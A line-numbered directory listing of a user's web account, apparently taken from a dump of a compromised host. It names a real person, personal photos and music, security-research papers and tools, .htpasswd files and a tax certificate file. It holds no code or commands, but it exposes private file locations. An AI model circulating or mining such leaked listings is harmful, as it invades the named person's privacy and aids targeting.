-rwx------ 1 titiweb titiweb 5696446 2007-08-16 14:22 mvi_0138.avi 26687 -rwx------ 1 titiweb titiweb 3944762 2007-08-16 14:22 mvi_0139.avi 26688 26689 ./bordel/annivs: 26690 total 5024 26691 drwx------ 2 titiweb titiweb 8192 2008-02-10 15:14 . 26692 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 .. 26693 -rwx------ 1 titiweb titiweb 246 2008-02-10 15:14 index.html 26694 -rwx------ 1 titiweb titiweb 1109331 2008-02-10 15:09 macha.jpg 26695 -rwx------ 1 titiweb titiweb 1315520 2008-02-10 15:14 machaone.jpg 26696 -rwx------ 1 titiweb titiweb 1344533 2008-02-10 15:05 witness.the.fitness2.jpg 26697 -rwx------ 1 titiweb titiweb 1329064 2008-02-10 14:56 witness.the.fitness.jpg 26698 26699 ./bordel/Appart-mtv: 26700 total 4536 26701 drwx------ 3 titiweb titiweb 8192 2009-03-08 01:12 . 26702 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 .. 26703 -rwx------ 1 titiweb titiweb 853158 2009-03-08 01:12 dsc_0048.jpg 26704 -rwx------ 1 titiweb titiweb 1017594 2009-03-08 01:12 dsc_0049.jpg 26705 -rwx------ 1 titiweb titiweb 807347 2009-03-08 01:12 dsc_0050.jpg 26706 -rwx------ 1 titiweb titiweb 786562 2009-03-08 01:12 dsc_0051.jpg 26707 -rwx------ 1 titiweb titiweb 1075410 2009-03-08 01:12 dsc_0053.jpg 26708 -rwx------ 1 titiweb titiweb 2278 2009-03-08 01:12 index.html 26709 drwx------ 2 titiweb titiweb 8192 2009-03-08 01:12 .llgal 26710 -rwx------ 1 titiweb titiweb 2220 2009-03-08 01:12 slide_1.html 26711 -rwx------ 1 titiweb titiweb 2220 2009-03-08 01:12 slide_2.html 26712 -rwx------ 1 titiweb titiweb 2220 2009-03-08 01:12 slide_3.html 26713 -rwx------ 1 titiweb titiweb 2220 2009-03-08 01:12 slide_4.html 26714 -rwx------ 1 titiweb titiweb 2220 2009-03-08 01:12 slide_5.html 26715 26716 ./bordel/Appart-mtv/.llgal: 26717 total 2432 26718 drwx------ 2 titiweb titiweb 8192 2009-03-08 01:12 . 26719 drwx------ 3 titiweb titiweb 8192 2009-03-08 01:12 .. 26720 -rwx------ 1 titiweb titiweb 2116 2009-03-08 01:12 llgal.css 26721 -rwx------ 1 titiweb titiweb 393399 2009-03-08 01:12 scaled_DSC_0048.JPG 26722 -rwx------ 1 titiweb titiweb 448030 2009-03-08 01:12 scaled_DSC_0049.JPG 26723 -rwx------ 1 titiweb titiweb 380340 2009-03-08 01:12 scaled_DSC_0050.JPG 26724 -rwx------ 1 titiweb titiweb 373486 2009-03-08 01:12 scaled_DSC_0051.JPG 26725 -rwx------ 1 titiweb titiweb 467905 2009-03-08 01:12 scaled_DSC_0053.JPG 26726 -rwx------ 1 titiweb titiweb 72335 2009-03-08 01:12 thumb_DSC_0048.JPG 26727 -rwx------ 1 titiweb titiweb 72637 2009-03-08 01:12 thumb_DSC_0049.JPG 26728 -rwx------ 1 titiweb titiweb 73054 2009-03-08 01:12 thumb_DSC_0050.JPG 26729 -rwx------ 1 titiweb titiweb 72415 2009-03-08 01:12 thumb_DSC_0051.JPG 26730 -rwx------ 1 titiweb titiweb 73827 2009-03-08 01:12 thumb_DSC_0053.JPG 26731 26732 ./bordel/caves: 26733 total 1648 26734 drwx------ 2 titiweb titiweb 8192 2006-07-09 23:02 . 26735 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 .. 26736 -rwx------ 1 titiweb titiweb 114464 2006-07-09 23:01 img_1700.jpg 26737 -rwx------ 1 titiweb titiweb 205462 2006-07-09 23:01 img_1701.jpg 26738 -rwx------ 1 titiweb titiweb 242320 2006-07-09 23:01 img_1702.jpg 26739 -rwx------ 1 titiweb titiweb 199514 2006-07-09 23:01 img_1703.jpg 26740 -rwx------ 1 titiweb titiweb 213338 2006-07-09 23:01 img_1704.jpg 26741 -rwx------ 1 titiweb titiweb 257722 2006-07-09 23:01 img_1705.jpg 26742 -rwx------ 1 titiweb titiweb 232773 2006-07-09 23:01 img_1706.jpg 26743 -rwx------ 1 titiweb titiweb 154247 2006-07-09 23:01 img_1707.jpg 26744 -rwx------ 1 titiweb titiweb 386 2006-07-09 23:02 index.html 26745 -rwx------ 1 titiweb titiweb 134 2006-07-09 23:02 indexor.rb 26746 26747 ./bordel/juan: 26748 total 2056 26749 drwx------ 2 titiweb titiweb 8192 2006-06-24 20:30 . 26750 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 .. 26751 -rwx------ 1 titiweb titiweb 195317 2006-06-24 20:24 img_1565.jpg 26752 -rwx------ 1 titiweb titiweb 199963 2006-06-24 20:25 img_1567.jpg 26753 -rwx------ 1 titiweb titiweb 192582 2006-06-24 20:25 img_1568.jpg 26754 -rwx------ 1 titiweb titiweb 163851 2006-06-24 20:26 img_1569.jpg 26755 -rwx------ 1 titiweb titiweb 182885 2006-06-24 20:26 img_1570.jpg 26756 -rwx------ 1 titiweb titiweb 142956 2006-06-24 20:27 img_1571.jpg 26757 -rwx------ 1 titiweb titiweb 202971 2006-06-24 20:27 img_1572.jpg 26758 -rwx------ 1 titiweb titiweb 201044 2006-06-24 20:28 img_1573.jpg 26759 -rwx------ 1 titiweb titiweb 186734 2006-06-24 20:28 img_1574.jpg 26760 -rwx------ 1 titiweb titiweb 180439 2006-06-24 20:28 img_1575.jpg 26761 -rwx------ 1 titiweb titiweb 176495 2006-06-24 20:29 img_1576.jpg 26762 -rwx------ 1 titiweb titiweb 521 2006-06-24 20:30 index.html 26763 -rwx------ 1 titiweb titiweb 134 2006-06-24 20:30 indexor.rb 26764 26765 ./bordel/ph: 26766 total 16 26767 drwx------ 2 titiweb titiweb 8192 2006-05-27 11:47 . 26768 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 .. 26769 26770 ./bordel/suicide: 26771 total 82712 26772 drwx------ 2 titiweb titiweb 8192 2007-08-06 16:58 . 26773 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 .. 26774 -rwx------ 1 titiweb titiweb 3529793 2006-05-10 01:32 03 - Once upon a Time in 26775 the West.mp3 26776 -rwx------ 1 titiweb titiweb 3969317 2006-05-10 01:16 26777 104-noir_desir-des_armes-just.mp3 26778 -rwx------ 1 titiweb titiweb 5936832 2006-05-10 01:17 26779 105-noir_desir-l_appartement-just.mp3 26780 -rwx------ 1 titiweb titiweb 4842603 2006-05-10 01:31 14 - Le 26781 Professionnel.mp3 26782 -rwx------ 1 titiweb titiweb 5394808 2006-05-10 01:21 26783 dolly_-_dolly_-_06_-_partir_seule.mp3 26784 -rwx------ 1 titiweb titiweb 5561701 2006-05-10 01:20 26785 [Fight_Club_-_The_Pixies]_-_Where_Is_My_Mind_(End_Credits).mp3 ## 26786 pr0j3kt-m4yh3m inspired im sure. 26787 -rwx------ 1 titiweb titiweb 130 2006-05-10 01:44 .htaccess 26788 -rwx------ 1 titiweb titiweb 19 2007-08-06 16:58 .htpasswd 26789 -rwx------ 1 titiweb titiweb 1392 2006-05-10 01:32 index.html 26790 -rwx------ 1 titiweb titiweb 134 2006-05-10 01:27 indexor.rb 26791 -rwx------ 1 titiweb titiweb 8220421 2006-05-10 01:23 26792 joan_osborne-one_of_us.mp3 26793 -rwx------ 1 titiweb titiweb 4680278 2006-05-10 01:24 killing_me_softly.mp3 26794 -rwx------ 1 titiweb titiweb 3078144 2006-05-10 01:24 26795 laputa_-_22_-_the_destruction_of_laputa.mp3 26796 -rwx------ 1 titiweb titiweb 2991252 2006-05-10 01:25 octavia_solicitude.mp3 26797 -rwx------ 1 titiweb titiweb 6075036 2006-05-10 01:26 26798 placebo-burger_queen_francais.mp3 26799 -rwx------ 1 titiweb titiweb 5681865 2006-05-10 01:19 Queen (11 - Bohemian 26800 Rhapsody).mp3 26801 -rwx------ 1 titiweb titiweb 6604799 2006-05-10 01:27 save.me.mp3 26802 -rwx------ 1 titiweb titiweb 6770080 2006-05-10 01:28 the.blowers.daughter.mp3 26803 -rwx------ 1 titiweb titiweb 5847434 2006-05-10 01:04 26804 within_temptation-memories.mp3 26805 -rwx------ 1 titiweb titiweb 5406555 2006-05-10 01:29 26806 within_temptation-restless-unplugged.mp3 26807 26808 ./bordel/usa: 26809 total 2488 26810 drwx------ 2 titiweb titiweb 8192 2008-05-21 21:55 . 26811 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 .. 26812 -rwx------ 1 titiweb titiweb 1272793 2008-05-21 21:55 grand.canyon.2.jpg 26813 -rwx------ 1 titiweb titiweb 1250136 2008-05-21 21:56 grand.canyon.jpg 26814 26815 ./cr0-ca: 26816 total 48 26817 drwx------ 2 titiweb titiweb 8192 2005-12-29 03:21 . 26818 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26819 -rwx------ 1 titiweb titiweb 1452 2005-12-29 03:20 cr0cacert.crt 26820 -rwx------ 1 titiweb titiweb 189 2005-12-29 03:20 cr0cacert.crt.asc 26821 -rwx------ 1 titiweb titiweb 711 2005-12-29 03:21 index.php 26822 -rwx------ 1 titiweb titiweb 907 2005-12-29 03:20 style.css 26823 26824 ./exploits: 26825 total 16 26826 drwx------ 2 titiweb titiweb 8192 2007-06-17 18:54 . 26827 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26828 26829 ./ip: 26830 total 24 26831 drwx------ 2 titiweb titiweb 8192 2009-02-14 15:27 . 26832 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26833 -rwx------ 1 titiweb titiweb 413 2009-02-14 15:17 index.php 26834 26835 ./kexploits-pub: 26836 total 24 26837 drwx------ 2 titiweb titiweb 8192 2008-09-16 17:37 . 26838 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26839 -rwx------ 1 titiweb titiweb 11 2007-10-06 13:45 index.html 26840 26841 ./lobster: 26842 total 48 26843 drwx------ 2 titiweb titiweb 8192 2005-12-30 12:13 . 26844 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26845 -rwx------ 1 titiweb titiweb 717 2005-12-30 12:13 index.php 26846 -rwx------ 1 titiweb titiweb 1318 2005-12-30 12:11 lobstercert.crt 26847 -rwx------ 1 titiweb titiweb 189 2005-12-30 12:11 lobstercert.crt.asc 26848 -rwx------ 1 titiweb titiweb 907 2005-12-30 12:10 style.css 26849 26850 ./misc: 26851 total 168 26852 drwx------ 2 titiweb titiweb 8192 2009-05-19 22:26 . 26853 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26854 -rwx------ 1 titiweb titiweb 3554 2009-05-19 22:26 calendarpatch.patch 26855 -rwx------ 1 titiweb titiweb 99220 2007-06-17 19:50 jt-securitech-06-11.pdf 26856 -rwx------ 1 titiweb titiweb 4448 2008-06-11 12:38 julien.at.cr0.asc 26857 -rwx------ 1 titiweb titiweb 6962 2008-09-16 17:36 mipsfencoder.tgz 26858 -rwx------ 1 titiweb titiweb 611 2005-11-27 18:46 obsdretf.asm 26859 -rwx------ 1 titiweb titiweb 5716 2008-07-22 15:15 securitech-v2 26860 -rwx------ 1 titiweb titiweb 3267 2009-04-01 03:26 smile.rb 26861 26862 ./paper: 26863 total 2384 26864 drwx------ 2 titiweb titiweb 8192 2009-04-23 00:17 . 26865 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26866 -rwx------ 1 titiweb titiweb 2197420 2008-03-04 13:35 hacklu2007-final.pdf 26867 -rwx------ 1 titiweb titiweb 131543 2008-06-11 12:21 jt-rr-rr-openssl.pdf 26868 -rwx------ 1 titiweb titiweb 3324 2006-03-10 16:21 26869 mips.elf.external.resolution.txt 26870 -rwx------ 1 titiweb titiweb 70388 2009-04-23 00:17 26871 to-jt-linux-alsr-leak.pdf 26872 26873 ./pax: 26874 total 2056 26875 drwx------ 6 titiweb titiweb 8192 2008-09-14 12:20 . 26876 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 26877 -rwx------ 1 titiweb titiweb 9700 2004-09-10 16:12 26878 binutils-2.14.90.0.8-pt-pax-flags-200402042140.patch 26879 -rwx------ 1 titiweb titiweb 14035 2004-11-06 16:05 26880 binutils-2.15.92.0.2-pt-pax-flags-200411061615.patch 26881 -rwx------ 1 titiweb titiweb 5255 2004-09-10 16:12 chpax-0.7.tar.gz 26882 -rwx------ 1 titiweb titiweb 193 2004-09-10 16:12 chpax.cfg 26883 -rwx------ 1 titiweb titiweb 7256 2004-09-10 16:12 chpax.old.c 26884 -rwx------ 1 titiweb titiweb 2354 2004-09-10 16:12 chpax.sh 26885 -rwx------ 1 titiweb titiweb 2147 2005-12-04 18:15 Diamond.css 26886 -rwx------ 1 titiweb titiweb 158812 2005-12-04 18:16 diffie.txt 26887 drwx------ 2 titiweb titiweb 8192 2005-01-07 19:39 docs 26888 drwx------ 2 titiweb titiweb 8192 2008-09-14 12:20 es 26889 drwx------ 2 titiweb titiweb 8192 2005-12-03 18:31 esobsdreports 26890 -rwx------ 1 titiweb titiweb 7840 2004-09-10 16:12 et_dyn.tar.gz 26891 drwx------ 3 titiweb titiweb 8192 2005-12-03 18:31 ex 26892 -rwx------ 1 titiweb titiweb 8945 2004-11-25 23:50 index.html 26893 -rwx------ 1 titiweb titiweb 109892 2005-12-04 18:16 jt_owl.png 26894 -rwx------ 1 titiweb titiweb 11195 2005-12-04 18:15 jt_owl.svg 26895 -rwx------ 1 titiweb titiweb 108220 2005-12-04 18:16 jt_pax_segmexec.png 26896 -rwx------ 1 titiweb titiweb 15164 2005-12-04 18:16 jt_pax_segmexec.svg 26897 -rwx------ 1 titiweb titiweb 80919 2005-12-08 18:31 26898 jt_protection_espace_addr.html 26899 -rwx------ 1 titiweb titiweb 49152 2005-10-16 13:40 26900 .jt_protection_espace_addr.html.swo 26901 -rwx------ 1 titiweb titiweb 111950 2005-12-04 18:15 jt_sys_pagination.png 26902 -rwx------ 1 titiweb titiweb 36208 2005-12-04 18:15 jt_sys_pagination.svg 26903 -rwx------ 1 titiweb titiweb 133997 2005-12-04 18:15 jt_sys_segmentation.png 26904 -rwx------ 1 titiweb titiweb 35123 2005-12-04 18:15 jt_sys_segmentation.svg 26905 -rwx------ 1 titiweb titiweb 31977 2005-12-04 18:15 jt_sys_segmpag.png 26906 -rwx------ 1 titiweb titiweb 6011 2005-12-04 18:15 jt_sys_segmpag.svg 26907 -rwx------ 1 titiweb titiweb 27531 2005-12-04 18:15 jt_sys_ss_exemple.png 26908 -rwx------ 1 titiweb titiweb 7123 2005-12-04 18:15 jt_sys_ss_exemple.svg 26909 -rwx------ 1 titiweb titiweb 23111 2005-12-04 18:15 jt_sys_ss.png 26910 -rwx------ 1 titiweb titiweb 6022 2005-12-04 18:15 jt_sys_ss.svg 26911 -rwx------ 1 titiweb titiweb 4786 2004-09-10 16:12 paxctl-0.2.tar.gz 26912 -rwx------ 1 titiweb titiweb 241027 2004-11-06 13:23 26913 pax-linux-2.2.26-200411061335.patch 26914 -rwx------ 1 titiweb titiweb 301305 2004-11-25 23:49 26915 pax-linux-2.4.28-200411252350.patch 26916 -rwx------ 1 titiweb titiweb 297331 2004-11-06 13:31 26917 pax-linux-2.6.7-200411061335.patch 26918 -rwx------ 1 titiweb titiweb 26961 2004-09-10 16:12 paxtest-0.9.5.tar.gz 26919 -rwx------ 1 titiweb titiweb 71 2004-09-10 16:12 robots.txt 26920 -rwx------ 1 titiweb titiweb 2107 2005-12-04 18:15 test.svg 26921 -rwx------ 1 titiweb titiweb 495 2005-12-04 18:15 todo 26922 -rwx------ 1 titiweb titiweb 26449 2004-09-10 16:12 tux_pen1.jpg 26923 26924 ./pax/docs: 26925 total 224 26926 drwx------ 2 titiweb titiweb 8192 2005-01-07 19:39 . 26927 drwx------ 6 titiweb titiweb 8192 2008-09-14 12:20 .. 26928 -rwx------ 1 titiweb titiweb 12216 2004-09-10 16:12 aslr.txt 26929 -rwx------ 1 titiweb titiweb 2358 2004-09-10 16:12 emusigrt.txt 26930 -rwx------ 1 titiweb titiweb 4709 2004-09-10 16:12 emutramp.txt 26931 -rwx------ 1 titiweb titiweb 3810 2004-09-10 16:12 index.html 26932 -rwx------ 1 titiweb titiweb 6752 2004-09-10 16:12 mprotect.txt 26933 -rwx------ 1 titiweb titiweb 4237 2004-09-10 16:12 noexec.txt 26934 -rwx------ 1 titiweb titiweb 29019 2004-09-10 16:12 pageexec.old.txt 26935 -rwx------ 1 titiweb titiweb 9259 2004-09-10 16:12 pageexec.txt 26936 -rwx------ 1 titiweb titiweb 24208 2004-09-10 16:12 pax-future.txt 26937 -rwx------ 1 titiweb titiweb 8598 2004-09-10 16:12 pax.txt 26938 -rwx------ 1 titiweb titiweb 8145 2004-09-10 16:12 randexec.txt 26939 -rwx------ 1 titiweb titiweb 4516 2004-09-10 16:12 randkstack.txt 26940 -rwx------ 1 titiweb titiweb 2532 2004-09-10 16:12 randmmap.txt 26941 -rwx------ 1 titiweb titiweb 2675 2004-09-10 16:12 randustack.txt 26942 -rwx------ 1 titiweb titiweb 3830 2004-09-10 16:12 segmexec.txt 26943 -rwx------ 1 titiweb titiweb 21575 2004-09-10 16:12 vmmirror.txt 26944 26945 ./pax/es: 26946 total 592 26947 drwx------ 2 titiweb titiweb 8192 2008-09-14 12:20 . 26948 drwx------ 6 titiweb titiweb 8192 2008-09-14 12:20 .. 26949 -rwx------ 1 titiweb titiweb 358 2005-12-04 18:15 anties.c 26950 -rwx------ 1 titiweb titiweb 9183 2005-12-04 18:15 a.out 26951 -rwx------ 1 titiweb titiweb 13379 2005-12-04 18:15 dtdumper 26952 -rwx------ 1 titiweb titiweb 10153 2005-12-04 18:15 dtdumper.c 26953 -rwx------ 1 titiweb titiweb 270 2005-12-04 18:15 Makefile 26954 -rwx------ 1 titiweb titiweb 7278 2005-12-04 18:15 mldt 26955 -rwx------ 1 titiweb titiweb 417 2005-12-04 18:15 mldt.c 26956 -rwx------ 1 titiweb titiweb 611 2005-11-27 18:44 obsd.asm 26957 -rwx------ 1 titiweb titiweb 10892 2005-12-04 18:15 obsddtd.c 26958 -rwx------ 1 titiweb titiweb 611 2005-12-04 18:15 obsdretf.asm 26959 -rwx------ 1 titiweb titiweb 116361 2005-12-04 18:15 plop.tgz 26960 -rwx------ 1 titiweb titiweb 319488 2005-11-27 01:19 pute 26961 -rwx------ 1 titiweb titiweb 13570 2005-12-04 18:15 test 26962 -rwx------ 1 titiweb titiweb 1911 2005-12-04 18:15 test.asm 26963 -rwx------ 1 titiweb titiweb 2336 2005-12-04 18:15 test.o 26964 26965 ./pax/esobsdreports: 26966 total 520 26967 drwx------ 2 titiweb titiweb 8192 2005-12-03 18:31 . 26968 drwx------ 6 titiweb titiweb 8192 2008-09-14 12:20 .. 26969 -rwx------ 1 titiweb titiweb 566 2005-12-04 18:16 es-24.dtdumper.maps.txt 26970 -rwx------ 1 titiweb titiweb 2842 2005-12-04 18:16 es-24.dtdumper.txt 26971 -rwx------ 1 titiweb titiweb 11304 2005-12-04 18:16 es-24.txt 26972 -rwx------ 1 titiweb titiweb 3290 2005-12-04 18:16 es26.dtdumper.txt 26973 -rwx------ 1 titiweb titiweb 1717 2005-12-04 18:16 es-26-paxtest.log 26974 -rwx------ 1 titiweb titiweb 3494 2005-12-04 18:16 esreports.tgz 26975 -rwx------ 1 titiweb titiweb 1663 2005-12-04 18:16 obsdpt.log 26976 -rwx------ 1 titiweb titiweb 444873 2005-12-04 18:16 openbsd.dtdumper.txt 26977 26978 ./pax/ex: 26979 total 104 26980 drwx------ 3 titiweb titiweb 8192 2005-12-03 18:31 . 26981 drwx------ 6 titiweb titiweb 8192 2008-09-14 12:20 .. 26982 -rwx------ 1 titiweb titiweb 35716 2005-10-16 13:40 26983 binutils-2.15.92.0.2-pt-pax-flags-200503112110.patch 26984 -rwx------ 1 titiweb titiweb 16504 2005-12-04 18:15 cat 26985 -rwx------ 1 titiweb titiweb 612 2005-12-04 18:15 maps.txt 26986 drwx------ 2 titiweb titiweb 8192 2005-12-03 18:31 paxctl-0.3 26987 -rwx------ 1 titiweb titiweb 5382 2005-12-04 18:15 paxctl-0.3.tar.gz 26988 26989 ./pax/ex/paxctl-0.3: 26990 total 104 26991 drwx------ 2 titiweb titiweb 8192 2005-12-03 18:31 . 26992 drwx------ 3 titiweb titiweb 8192 2005-12-03 18:31 .. 26993 -rwx------ 1 titiweb titiweb 202 2005-12-04 18:15 ChangeLog 26994 -rwx------ 1 titiweb titiweb 431 2005-12-04 18:15 Makefile 26995 -rwx------ 1 titiweb titiweb 13526 2005-12-04 18:15 paxctl 26996 -rwx------ 1 titiweb titiweb 2691 2005-12-04 18:15 paxctl.1 26997 -rwx------ 1 titiweb titiweb 12454 2005-12-04 18:15 paxctl.c 26998 -rwx------ 1 titiweb titiweb 1448 2005-12-04 18:15 paxctl.h 26999 -rwx------ 1 titiweb titiweb 8608 2005-12-04 18:15 paxctl.o 27000 -rwx------ 1 titiweb titiweb 1077 2005-12-04 18:15 readme 27001 27002 ./pax-obscure: 27003 total 64 27004 drwx------ 3 titiweb titiweb 8192 2005-01-21 13:04 . 27005 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 27006 -rwx------ 1 titiweb titiweb 1032 2003-08-31 03:25 index.php 27007 drwx------ 2 titiweb titiweb 8192 2003-08-30 22:54 old 27008 -rwx------ 1 titiweb titiweb 2270 2003-08-30 21:57 27009 pax+obs-linux-2.4.22-200308302223.tar.gz 27010 -rwx------ 1 titiweb titiweb 65 2003-08-30 21:57 27011 pax+obs-linux-2.4.22-200308302223.tar.gz.sig 27012 -rwx------ 1 titiweb titiweb 1050 2003-08-30 23:01 README-PAX+obs 27013 -rwx------ 1 titiweb titiweb 910 2003-08-31 02:00 style.css 27014 27015 ./pax-obscure/old: 27016 total 24 27017 drwx------ 2 titiweb titiweb 8192 2003-08-30 22:54 . 27018 drwx------ 3 titiweb titiweb 8192 2005-01-21 13:04 .. 27019 -rwx------ 1 titiweb titiweb 720 2003-08-30 22:05 index.html 27020 27021 ./progs: 27022 total 56 27023 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 . 27024 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 27025 drwx------ 2 titiweb titiweb 8192 2009-03-04 09:44 crctools 27026 drwx------ 2 titiweb titiweb 8192 2007-09-26 20:33 dtdumper 27027 drwx------ 2 titiweb titiweb 8192 2009-03-10 16:57 slipfest 27028 drwx------ 2 titiweb titiweb 8192 2008-07-21 15:21 sshfun 27029 drwx------ 3 titiweb titiweb 8192 2008-07-09 00:23 ttytools 27030 27031 ./progs/crctools: 27032 total 40 27033 drwx------ 2 titiweb titiweb 8192 2009-03-04 09:44 . 27034 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 .. 27035 -rwx------ 1 titiweb titiweb 2536 2007-06-17 21:50 cr0.css 27036 -rwx------ 1 titiweb titiweb 4478 2007-06-17 21:50 crctools-v0.1.tgz 27037 -rwx------ 1 titiweb titiweb 2130 2009-03-04 09:43 index.html 27038 27039 ./progs/dtdumper: 27040 total 80 27041 drwx------ 2 titiweb titiweb 8192 2007-09-26 20:33 . 27042 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 .. 27043 -rwx------ 1 titiweb titiweb 4982 2006-01-06 22:11 dtdumper-0.1.1.tgz 27044 -rwx------ 1 titiweb titiweb 5994 2007-09-26 20:30 dtdumper-0.1.3.tgz 27045 -rwx------ 1 titiweb titiweb 10134 2005-10-23 23:13 dtdumper.c 27046 -rwx------ 1 titiweb titiweb 577 2005-12-30 12:09 index.html 27047 -rwx------ 1 titiweb titiweb 943 2007-09-26 20:33 index.php 27048 -rwx------ 1 titiweb titiweb 564 2007-09-26 20:30 readme 27049 -rwx------ 1 titiweb titiweb 907 2006-01-06 19:29 style.css 27050 27051 ./progs/slipfest: 27052 total 448 27053 drwx------ 2 titiweb titiweb 8192 2009-03-10 16:57 . 27054 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 .. 27055 -rwx------ 1 titiweb titiweb 2536 2006-03-28 14:22 cr0.css 27056 -rwx------ 1 titiweb titiweb 1078 2006-03-28 13:30 favicon.ico 27057 -rwx------ 1 titiweb titiweb 6642 2009-03-10 16:57 index.html 27058 -rwx------ 1 titiweb titiweb 119746 2006-03-28 17:35 jt-csw2006-slipfest.pdf 27059 -rwx------ 1 titiweb titiweb 138331 2006-03-28 13:30 slipfest-1.01+src.zip 27060 -rwx------ 1 titiweb titiweb 65 2006-03-28 13:30 slipfest-1.01+src.zip.sig 27061 -rwx------ 1 titiweb titiweb 131898 2006-03-30 13:46 slipfest-1.03+src.zip 27062 -rwx------ 1 titiweb titiweb 65 2006-04-01 00:00 slipfest-1.03+src.zip.sig 27063 27064 ./progs/sshfun: 27065 total 4384 27066 drwx------ 2 titiweb titiweb 8192 2008-07-21 15:21 . 27067 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 .. 27068 -rwx------ 1 titiweb titiweb 15512 2008-07-08 11:51 bfssh-1.0.tgz 27069 -rwx------ 1 titiweb titiweb 2536 2008-06-27 14:52 cr0.css 27070 -rwx------ 1 titiweb titiweb 5253 2008-07-21 15:21 index.html 27071 -rwx------ 1 titiweb titiweb 401891 2008-07-08 11:49 libssh-0.2.tgz 27072 -rwx------ 1 titiweb titiweb 1463491 2008-07-08 11:51 libssl-vuln.tgz 27073 -rwx------ 1 titiweb titiweb 16437 2008-07-08 16:47 ssh_decoder-1.0.tar.bz2 27074 -rwx------ 1 titiweb titiweb 2538904 2008-07-08 16:47 27075 ssh_kex_keygen-1.1.tar.bz2 27076 27077 ./progs/ttytools: 27078 total 40 27079 drwx------ 3 titiweb titiweb 8192 2008-07-09 00:23 . 27080 drwx------ 7 titiweb titiweb 8192 2008-07-07 22:52 .. 27081 -rwx------ 1 titiweb titiweb 2536 2008-06-27 14:52 cr0.css 27082 -rwx------ 1 titiweb titiweb 3340 2008-07-09 00:22 index.html 27083 drwx------ 2 titiweb titiweb 8192 2008-07-08 20:14 sttybin 27084 27085 ./progs/ttytools/sttybin: 27086 total 40 27087 drwx------ 2 titiweb titiweb 8192 2008-07-08 20:14 . 27088 drwx------ 3 titiweb titiweb 8192 2008-07-09 00:23 .. 27089 -rwx------ 1 titiweb titiweb 97 2008-07-08 20:14 .htaccess 27090 -rwx------ 1 titiweb titiweb 10192 2008-07-09 00:05 subtty 27091 27092 ./security-ca: 27093 total 96 27094 drwx------ 2 titiweb titiweb 8192 2005-01-21 14:18 . 27095 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 27096 -rwx------ 1 titiweb titiweb 1055 2005-01-21 14:04 index.php 27097 -rwx------ 1 titiweb titiweb 2402 2005-01-21 14:18 README-security-CA 27098 -rwx------ 1 titiweb titiweb 2638 2005-01-21 17:03 README-security-CA.asc 27099 -rwx------ 1 titiweb titiweb 1828 2005-01-21 13:39 security-ca.asc 27100 -rwx------ 1 titiweb titiweb 37647 2005-01-21 13:40 security-ca-keyring.asc 27101 -rwx------ 1 titiweb titiweb 910 2005-01-21 13:05 style.css 27102 titiweb@flint:/cr0$ cd stpocd bordel/ 27103 titiweb@flint:/cr0/bordel$ ls -la 27104 total 84264 27105 drwx------ 10 titiweb titiweb 8192 2009-05-07 22:30 . 27106 drwx------ 15 titiweb titiweb 8192 2009-05-20 00:17 .. 27107 drwx------ 4 titiweb titiweb 8192 2007-09-10 22:29 15_aout 27108 -rwx------ 1 titiweb titiweb 6751875 2004-11-09 19:23 1758.zip 27109 drwx------ 2 titiweb titiweb 8192 2008-02-10 15:14 annivs 27110 drwx------ 3 titiweb titiweb 8192 2009-03-08 01:12 Appart-mtv 27111 -rwx------ 1 titiweb titiweb 2643 2004-11-12 11:02 27112 binfmt_elf_partial_read_pax.patch 27113 -rwx------ 1 titiweb titiweb 9698361 2008-06-10 13:29 27114 c3550-ipservicesk9-mz.122-44.SE.bin 27115 drwx------ 2 titiweb titiweb 8192 2006-07-09 23:02 caves 27116 -rwx------ 1 titiweb titiweb 683160 2008-08-25 21:35 cuisine1.jpg 27117 -rwx------ 1 titiweb titiweb 636068 2008-08-25 21:32 cuisine2.jpg 27118 -rwx------ 1 titiweb titiweb 59227 2005-01-22 15:08 cv.julien.tinnes.pdf 27119 -rwx------ 1 titiweb titiweb 889319 2005-11-01 01:18 doc.sof.tgz 27120 -rwx------ 1 titiweb titiweb 889558 2005-11-01 01:19 doc.sof.zip 27121 -rwx------ 1 titiweb titiweb 189930 2008-03-30 19:22 dollar.lol.jpg 27122 -rwx------ 1 titiweb titiweb 1025 2004-08-20 23:27 endofmd5.pl 27123 -rwx------ 1 titiweb titiweb 532 2008-01-26 12:29 etats.hds 27124 -rwx------ 1 titiweb titiweb 210931 2006-11-06 22:13 grosse-bete.jpg 27125 -rwx------ 1 titiweb titiweb 537644 2007-09-19 10:43 img_0306.jpg 27126 -rwx------ 1 titiweb titiweb 1101200 2007-11-27 21:15 img_4353.jpg 27127 -rwx------ 1 titiweb titiweb 1184202 2007-11-27 21:16 img_4355.jpg 27128 -rwx------ 1 titiweb titiweb 2791 2009-05-07 00:06 impotscertif1.p12 27129 -rwx------ 1 titiweb titiweb 71680 2008-06-10 14:34 jt-openssl2008.doc 27130 -rwx------ 1 titiweb titiweb 99220 2006-05-19 16:31 jt-securitech-06-11.pdf 27131 drwx------ 2 titiweb titiweb 8192 2006-06-24 20:30 juan 27132 -rwx------ 1 titiweb titiweb 1043 2005-01-13 06:19 27133 linux-2.4.28-CAN-2005-0001-grsec.patch 27134 -rwx------ 1 titiweb titiweb 65 2005-01-16 12:51 27135 linux-2.4.28-CAN-2005-0001-grsec.patch.sig 27136 -rwx------ 1 titiweb 